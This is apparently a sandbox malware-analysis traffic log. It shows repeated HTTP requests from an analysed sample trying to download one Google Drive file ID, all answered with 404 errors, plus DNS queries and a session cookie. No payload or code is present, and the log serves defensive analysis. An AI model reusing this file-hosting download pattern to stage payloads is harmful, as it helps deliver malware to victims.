Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQRxjkIGfA5tlLHI4sB_wrr9_aJ4a90vwOxRb3-tTucYZXp2uBX902t0BkusxBLWsjIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:32:08 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-aA_ZR0f0BCBgdPSoN7LX8Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU; expires=Sat, 12-Jul-2025 14:32:08 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6nQVZzX7OjgneRLkuPxLFJSj3gieiGHHX7Yx6rofX72iClNoI2EAetFIedSoc1pP9JContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:32:19 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-QoWLUwcE8tb47_MzPxWpaA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5BU9c99SYDNTRGFvVENQyj46YaRcBipwEyxNsKmO8-d16nHi1RXCQmXEPmY8FKIEDtContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:32:31 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-IKIsCl_XsgTFIpEaBBGV0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC77vVWG8zv1oikIQqRX_5zPlkDD9ufthX9c9uPCe3w68TtvECDDF_tqj7IExgwe1FTQf6_IX_sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:32:42 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-_RsSWx8ndAptCJ5WgTnBew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC41J0T9rcwAmomBrR5aj2KfVX_uwSnsubyD5rR_edViruEMXNBweUxlqUOwtQh9uNGpContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:32:53 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-6q3oQVu49o-Zlobz29u_iw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgS7PyZKIdu5fsvm96mx7w5dvyIfBsgC8eY2aGpW8MzvaqTUz6Leup5ZZjrsgqP1pmE3Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:33:04 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-fKS1nCBZopWdm8Ixn1kRZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSqgw4Xcnoq_mmC0w82Es0CkINiBSNv3gdMKqZSIRhVhWRfYxEfbngKg-jXGBbBOiX8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:33:15 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-boktPEdIAOX-cEICFdwjaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
